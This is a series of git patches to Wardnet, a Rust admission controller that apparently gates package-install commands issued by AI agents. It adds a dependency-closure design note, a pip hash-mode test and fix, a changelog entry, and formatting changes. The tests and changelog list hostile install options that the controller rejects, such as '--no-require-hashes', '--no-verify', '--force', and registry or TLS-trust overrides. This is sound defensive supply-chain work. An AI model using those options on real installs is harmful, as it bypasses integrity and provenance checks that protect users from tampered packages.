https://docs.npmjs.com/cli/v11/commands/npm-ci/ - npm, Inc. (2026). *Package spec.* https://docs.npmjs.com/cli/v11/using-npm/package-spec/ - npm, Inc. (2026). *npm exec.* https://docs.npmjs.com/cli/npm-exec/ - pip developers. (2026). *pip install.* https://pip.pypa.io/en/latest/cli/pip_install/ - pip developers. (2026). *Requirement specifiers.* https://pip.pypa.io/en/latest/reference/requirement-specifiers/ - pip developers. (2026). *Repeatable installs.* https://pip.pypa.io/en/latest/topics/repeatable-installs/ +- pnpm contributors. (2026). *pnpm install.* https://pnpm.io/cli/install - pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs @@ -44,5 +50,6 @@ SHA-256 equality proves byte identity only when the execution path independently - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ +- Yarn contributors. (2026). *yarn install.* https://yarnpkg.com/cli/install NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications \ No newline at end of file From 96f5f28df5ce85d7b9a129e74cae72ebe819e3d6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:48:02 +0900 Subject: [PATCH 228/247] docs(admission): trace npm-family dependency-closure decision --- .../npm-family-dependency-closure.md | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 docs/doctoring/npm-family-dependency-closure.md diff --git a/docs/doctoring/npm-family-dependency-closure.md b/docs/doctoring/npm-family-dependency-closure.md new file mode 100644 index 00000000..9810f9a0 --- /dev/null +++ b/docs/doctoring/npm-family-dependency-closure.md @@ -0,0 +1,44 @@ +# npm-family dependency-closure admission trace + +Verified 2026-09-05. This note records the evidence for Wardnet's v0.1 decision to reject direct npm-family resolver installs until the admission contract can bind the material set they may install. It does not assign dependency resolution to Wardnet; dependency resolution remains external to the Agent Artifact Admission bounded context. + +## Decision + +`npm install `, `pnpm add/install `, `yarn add `, and `bun add/install ` can turn one reviewed direct package operand into a transitive dependency closure. The current `InstallIntent` and `AdmissionPolicy` bind direct artifact coordinates and digests but do not carry a reviewed lockfile/material-set identity that proves the transitive closure. Wardnet therefore fails these direct resolver paths closed as `artifact_not_approved` even when the direct coordinate and execution-hardening flags match policy. + +This is a dependency-authority decision, not a claim that the package managers are unsafe. `--ignore-scripts` and pnpm's `--ignore-pnpmfile` constrain execution hooks; they do not prove which transitive artifacts the resolver will select. A package manager's lockfile or frozen mode is also not self-authorizing: the admission contract must first bind the reviewed lockfile/material set and the execution broker must preserve and verify that identity through retrieval and installation. + +## Primary-source observations + +| Package manager | Current primary-source behavior | Consequence for a future Wardnet allow path | +| --- | --- | --- | +| npm | `npm ci` requires an existing `package-lock.json`/`npm-shrinkwrap.json`, exits when the lock does not match `package.json`, installs the whole project, and does not write the manifest or lockfile. npm describes these installs as essentially frozen. | Prefer a reviewed project/lockfile contract over direct `npm install `; bind any tree-shaping project configuration used to create the lock. | +| pnpm | `pnpm install --frozen-lockfile` does not generate a lockfile and fails when the lockfile is absent, out of sync with the manifest, or would need an update. | A future port can require a reviewed `pnpm-lock.yaml` digest/material set plus frozen project install, while retaining workspace/configuration authority controls. | +| Yarn | `yarn install --immutable` aborts when the install would modify the lockfile; `--immutable-cache` and `--check-cache` add cache mutation/checksum controls. | A future port can bind the reviewed lockfile/material set and explicitly choose any additional cache-integrity requirements rather than authorizing `yarn add`. | +| Bun | `bun install --frozen-lockfile` installs exact versions from `bun.lock` and fails when the manifest disagrees; `bun ci` is documented as equivalent. | A future port can bind `bun.lock`/material identity and frozen project installation while separately constraining Bun configuration, platform selection, and trusted lifecycle authority. | + +## Wardnet boundary and acceptance criteria + +The current fail-closed repair is complete only when hostile tests prove that all supported direct npm-family resolver commands block after every existing direct-coordinate and safety check would otherwise pass. Positive admission coverage remains on package-manager paths whose current grammar can be bounded by the reviewed intent, such as exact Cargo installs and PyPI installs with `--require-hashes --no-deps`; this prevents the repair from degenerating into a global deny-all evaluator. + +A future npm-family allow capability requires a new versioned contract with, at minimum: + +- immutable reviewed project-manifest and lockfile digests; +- an explicit material/dependency-set identity derived from the reviewed lockfile rather than from runtime resolver output; +- package-manager/version semantics sufficient to interpret that lockfile without mutable or ambient trust/configuration authority; +- a frozen project-install command shape that fails rather than rewriting the lockfile; +- broker verification that retrieved bytes/provenance correspond to the admitted material set before execution; +- replay/idempotency and audit evidence binding the request, policy revision, lock/material identity and execution receipt; +- hostile tests for lock/manifest mismatch, lock mutation, workspace expansion, alternate registry/config, platform/optional/peer variant drift, cache poisoning, post-admission substitution and dependency-set mismatch. + +This future work stays within Wardnet's admission/evidence responsibility only for policy evaluation and receipts. The execution broker preserves the admitted identity, `quarantine-sandbox-runtime` owns hostile execution isolation, and registry/provenance providers remain behind versioned ports/ACLs. + +## APA 7 references + +Bun. (2026). *bun install.* https://bun.com/docs/pm/cli/install + +npm, Inc. (2026). *npm ci.* https://docs.npmjs.com/cli/v11/commands/npm-ci/ + +pnpm contributors. (2026). *pnpm install.* https://pnpm.io/cli/install + +Yarn contributors. (2026). *yarn install.* https://yarnpkg.com/cli/install From 032d74e060e778add00a2cc757ce3582c1135232 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:05:21 +0900 Subject: [PATCH 229/247] test(security): reject disabling PyPI hash checking --- .../tests/safety_flag_contract.rs | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs index 32e22657..89c5205f 100644 --- a/crates/agent-artifact-admission/tests/safety_flag_contract.rs +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -142,3 +142,22 @@ fn pip_attached_short_options_cannot_escape_reviewed_install_capability() { ); } } + +#[test] +fn pip_boolean_override_cannot_disable_required_hash_checking() { + let policy = approved_pip_policy(); + let mut intent = approved_pip_intent("--no-deps"); + intent.argv.push("--no-require-hashes".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "a contradictory --no-require-hashes must prevent integrity mode from satisfying admission: {:?}", + decision.reason_codes + ); +} From 4c0de8a3445d6b062b69440507cd3c81a3323308 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:06:19 +0900 Subject: [PATCH 230/247] fix(security): identify disabled pip hash requirement --- .../src/pypi_hash_mode.rs | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_hash_mode.rs diff --git a/crates/agent-artifact-admission/src/pypi_hash_mode.rs b/crates/agent-artifact-admission/src/pypi_hash_mode.rs new file mode 100644 index 00000000..25f8202d --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_hash_mode.rs @@ -0,0 +1,18 @@ +use crate::InstallIntent; + +/// Return whether a supported pip install request explicitly disables the +/// hash-checking mode that Wardnet requires for reviewed PyPI artifacts. +pub(crate) fn requests_disabled_hash_requirement(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + matches!(executable, "pip" | "pip3") + && arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments + .iter() + .any(|argument| argument == "--no-require-hashes") +} From bba656c1d776da38a7315d9ec8e6cb5bdfd621d1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:07:03 +0900 Subject: [PATCH 231/247] fix(security): fail closed on disabled pip hash checking --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index ef524f95..710d9a78 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -10,6 +10,7 @@ mod dependency_cardinality; mod http; mod oci_transport; mod policy; +mod pypi_hash_mode; pub use admission::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, @@ -62,6 +63,12 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if pypi_hash_mode::requests_disabled_hash_requirement(intent) { + if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); From a93f7e7e57f92d3480bffdc0d9e5f22dc063a24f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:08:07 +0900 Subject: [PATCH 232/247] docs(security): record pip hash-mode denial --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index ec9fff66..a80ee785 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared resolver output: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. pnpm requests still require both `--ignore-scripts` and `--ignore-pnpmfile` before resolver authority is considered; pip, pip3, and `uv pip install` require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Fail closed when a pip/pip3 install request includes `--no-require-hashes`: Wardnet's approved PyPI path requires hash-checking mode and does not accept a contradictory installer option that disables automatic hash enforcement alongside the positive requirement. This parser-boundary denial is separate from downstream proof that retrieved bytes match the reviewed artifact digest. - Fail closed on direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` even when the direct package coordinate and execution-hardening flags match policy, because the v0.1 intent carries only reviewed direct artifacts and cannot prove the transitive dependency closure those commands may resolve. `--ignore-scripts` is execution hardening, not dependency identity. A future npm-family allow path requires a reviewed immutable lockfile/material-set contract plus an executor command that is proven to consume that exact closure without rewriting it; until then resolver-selected transitive artifacts have no Wardnet admission authority. - Bound registry/index package source identity to the reviewed artifact coordinate: npm/pnpm/Yarn/Bun direct package operands must encode the exact reviewed `@`, and pip/pip3/`uv pip install` operands must encode the exact reviewed `==`. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements cannot inherit approval from a different reviewed registry/index coordinate; unsafe policy drift fails closed during service configuration as well as request admission. - Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. From 3f3da03884527d7ecea18cae9cab38b0bbbb0dbd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:08:35 +0900 Subject: [PATCH 233/247] docs(doctoring): trace PyPI hash-mode authority --- docs/doctoring/pypi-hash-mode-authority.md | 40 ++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 docs/doctoring/pypi-hash-mode-authority.md diff --git a/docs/doctoring/pypi-hash-mode-authority.md b/docs/doctoring/pypi-hash-mode-authority.md new file mode 100644 index 00000000..a199ad3f --- /dev/null +++ b/docs/doctoring/pypi-hash-mode-authority.md @@ -0,0 +1,40 @@ +# PyPI hash-mode authority + +## Problem + +Wardnet's Agent Artifact Admission Controller treats hash checking as a required safety condition for approved direct PyPI installation. The policy previously recognized the literal positive `--require-hashes` token but did not separately reject pip's negative `--no-require-hashes` option. That let one structured intent carry contradictory hash-mode instructions while Wardnet still considered the positive token sufficient. + +This is a parser/authority-boundary defect even when a particular pip version rejects the contradictory combination at execution time. Admission must not depend on a downstream parser rejecting an ambiguity that Wardnet can recognize before execution, and an admission `allow` receipt must not be produced for an intent that explicitly asks the installer to relax the required hash mode. + +## Constraint and ownership + +Wardnet owns pre-execution admission policy and minimized decision evidence. It does not download the distribution, generate a requirements lock, prove the downloaded bytes, or execute pip. The downstream executor remains responsible for consuming a reviewed material set and independently proving that retrieved bytes or equivalent provenance match the approved SHA-256 before execution. + +The current v0.1 direct PyPI path therefore keeps these independent controls: + +- exact reviewed package name and `==` version coordinate; +- reviewed registry/owner/SHA-256 identity; +- exact `--no-deps` dependency-cardinality guard; +- positive hash-checking requirement; +- explicit rejection of `--no-require-hashes` for pip/pip3 install requests; +- separate downstream material/provenance verification before execution. + +## TDD evidence + +- RED `032d74e060e778add00a2cc757ce3582c1135232` adds `pip_boolean_override_cannot_disable_required_hash_checking`. The hostile intent is otherwise the approved direct PyPI shape (`==` pin, `--require-hashes`, `--no-deps`) and adds `--no-require-hashes`. +- Causal classifier `4c0de8a3445d6b062b69440507cd3c81a3323308` isolates this installer-specific authority check in `pypi_hash_mode.rs` rather than broadening the generic policy parser. +- Admission wiring `bba656c1d776da38a7315d9ec8e6cb5bdfd621d1` returns the existing stable `missing_safety_flag` denial and never promotes the contradictory request to `allow`. + +Remote executable GREEN is not inferred from source inspection. The exact-head hosted workflows must execute on the resulting candidate before merge or release authority exists. + +## Primary-source traceability + +pip documents `--require-hashes` as requiring a hash for every requirement and documents `--no-require-hashes` as disabling automatic activation of the all-requirements hash mode when hashes are encountered. pip's secure-install guidance further states that hash-checking mode is an all-or-nothing mechanism intended to protect exact distribution material and recommends SHA-256 or stronger algorithms. Those semantics make the two options different authority statements; Wardnet therefore accepts only an unambiguous safety request. + +### References + +Python Packaging Authority. (2026). *pip install — pip documentation (v26.2.1)*. https://pip.pypa.io/en/stable/cli/pip_install/ + +Python Packaging Authority. (2026). *Secure installs — pip documentation*. https://pip.pypa.io/en/stable/topics/secure-installs/ + +Python Packaging Authority. (2026). *Requirements file format — pip documentation*. https://pip.pypa.io/en/stable/reference/requirements-file-format/ From a618bd362e3aeec928fbf98b53fdde646511c719 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:08:15 +0900 Subject: [PATCH 234/247] style(admission): apply rustfmt to crate facade --- crates/agent-artifact-admission/src/lib.rs | 40 ++++++++++++++++------ 1 file changed, 29 insertions(+), 11 deletions(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 710d9a78..b43de251 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -28,49 +28,67 @@ pub use http::{AdmissionState, ServiceError, build_app, run_cli, run_service}; pub use policy::{is_sha256_hex, sha256_hex, validate_install_intent}; /// Compute a deterministic fail-closed admission decision for one install intent. -pub fn admission_decision( - policy: &AdmissionPolicy, - intent: &InstallIntent, -) -> AdmissionDecision { +pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if artifact_variant::requests_unapproved_artifact_variant(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if cargo_install_authority::requests_unapproved_cargo_install_mutation(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if dependency_cardinality::misses_exact_dependency_set_guard(intent) { - if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if dependency_cardinality::npm_family_dependency_closure_is_unverified(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if pypi_hash_mode::requests_disabled_hash_requirement(intent) { - if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if oci_transport::requests_unapproved_oci_transport_trust(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; From 23979608d98ffcd512cde9094a578c54e6698b0c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:09:49 +0900 Subject: [PATCH 235/247] style(admission): apply rustfmt to intent model --- crates/agent-artifact-admission/src/admission.rs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/admission.rs b/crates/agent-artifact-admission/src/admission.rs index 8d432ca3..45c3a58b 100644 --- a/crates/agent-artifact-admission/src/admission.rs +++ b/crates/agent-artifact-admission/src/admission.rs @@ -152,8 +152,7 @@ impl InstallIntent { kind: InstructionSourceKind::LlmsTxt, uri: Some("https://example.invalid/llms.txt".to_string()), content_sha256: Some( - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" - .to_string(), + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), ), }, artifacts: vec![ArtifactCoordinate { From 266b2134e7c21c4f1c8b628288fd3271c0af8eb4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:10:07 +0900 Subject: [PATCH 236/247] style(admission): apply rustfmt to artifact variant guards --- .../src/artifact_variant.rs | 33 ++++++++++--------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index 6444e23a..d4cf58ca 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -90,15 +90,20 @@ fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { .first() .is_some_and(|argument| argument == "install") => { - arguments.iter().skip(1).any(requests_unapproved_pip_variant) + arguments + .iter() + .skip(1) + .any(requests_unapproved_pip_variant) } - "uv" - if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { - arguments.iter().skip(2).any(requests_unapproved_uv_pip_variant) + arguments + .iter() + .skip(2) + .any(requests_unapproved_uv_pip_variant) } _ => false, } @@ -133,7 +138,10 @@ fn requests_unapproved_uv_pip_variant(argument: &String) -> bool { } fn matches_value_flag(argument: &str, flag: &str) -> bool { - argument == flag || argument.strip_prefix(flag).is_some_and(|suffix| suffix.starts_with('=')) + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| suffix.starts_with('=')) } /// Pip-compatible option parsers accept short options with their required @@ -163,9 +171,7 @@ fn requests_all_tags_short_bundle(argument: &str) -> bool { Some(parts) => parts, None => (bundle, ""), }; - if shorthands.chars().count() < 2 - || !shorthands.chars().all(|flag| matches!(flag, 'a' | 'q')) - { + if shorthands.chars().count() < 2 || !shorthands.chars().all(|flag| matches!(flag, 'a' | 'q')) { return false; } @@ -181,8 +187,5 @@ fn requests_all_tags_short_bundle(argument: &str) -> bool { } fn is_true_boolean(value: &str) -> bool { - matches!( - value.to_ascii_lowercase().as_str(), - "1" | "t" | "true" - ) + matches!(value.to_ascii_lowercase().as_str(), "1" | "t" | "true") } From e050c942f4b9e7128df2ee22bce6ce49bc5b92ca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:14:12 +0900 Subject: [PATCH 237/247] style(admission): apply rustfmt to security contract tests --- .../bun_integrity_verification_contract.rs | 6 ++---- .../tests/cargo_build_variant_contract.rs | 6 ++---- .../cargo_overwrite_authority_contract.rs | 12 +++-------- .../tests/cargo_target_dir_escape_contract.rs | 6 ++---- .../tests/cargo_version_identity_contract.rs | 6 ++---- .../tests/oci_all_tags_contract.rs | 9 +++++--- .../tests/oci_platform_variant_contract.rs | 21 ++++++++----------- .../tests/oci_transport_trust_contract.rs | 7 ++----- 8 files changed, 28 insertions(+), 45 deletions(-) diff --git a/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs index 7d90a35b..2915433b 100644 --- a/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs @@ -32,8 +32,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -42,8 +41,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["bun".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs index 16fc047c..1e84df60 100644 --- a/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; #[test] diff --git a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs index 550c96f6..832e24c3 100644 --- a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; #[test] @@ -29,11 +27,7 @@ fn cargo_overwrite_and_tracking_overrides_require_separate_review_authority() { ARTIFACT_ARGUMENT.to_string(), "--locked".to_string(), ]; - argv.extend( - unreviewed_mutation - .iter() - .map(|value| (*value).to_string()), - ); + argv.extend(unreviewed_mutation.iter().map(|value| (*value).to_string())); let intent = approved_cargo_intent(argv); let decision = admission_decision(&policy, &intent); diff --git a/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs index 5fed9a49..f3174272 100644 --- a/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; #[test] diff --git a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs index 770b317b..0362c100 100644 --- a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; #[test] fn cargo_version_selector_cannot_override_reviewed_artifact_version() { diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index a34c3047..18bfe4f0 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -4,8 +4,7 @@ use wardnet_agent_artifact_admission::{ }; const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] @@ -114,7 +113,11 @@ fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, 